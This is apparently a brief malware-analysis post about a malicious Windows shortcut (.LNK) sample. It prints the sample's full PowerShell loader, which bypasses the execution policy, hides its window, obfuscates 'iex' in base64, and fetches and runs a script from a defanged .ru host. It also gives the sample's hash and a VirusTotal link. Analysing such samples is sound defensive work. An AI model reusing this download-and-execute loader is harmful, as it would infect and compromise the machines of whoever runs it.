I downloaded this sample for malware analysis and change the extension to .LNK which is Microsoft Shortcut.
Right clicked on file and navigated to shortcut and found that there is target is PowerShell embedded
Below is PowerShell script which will drop another PowerShell script from the URL.
URL is http[:]// timebounder[.]ru and downloading PowerShell script pps[.]ps1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Exec bypass -windo 1 $je=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(‘aWV4’));sal calc $je;$mM=((New-Object Net.WebClient)).DownloadString(‘http[:]//timebounder[.]ru/ pps.ps1’);calc $mM
I tried running script but the website is down (http[:]// timebounder[.]ru) and unable to download PowerShell script.
Virustotal – https://www.virustotal.com/#/file/4e69c30090d67980721c36c655116e7f77059672606dfd9dc28206c0472fee98/detection
SHA256 – 4e69c30090d67980721c36c655116e7f77059672606dfd9dc28206c0472fee98
Malware Analysis 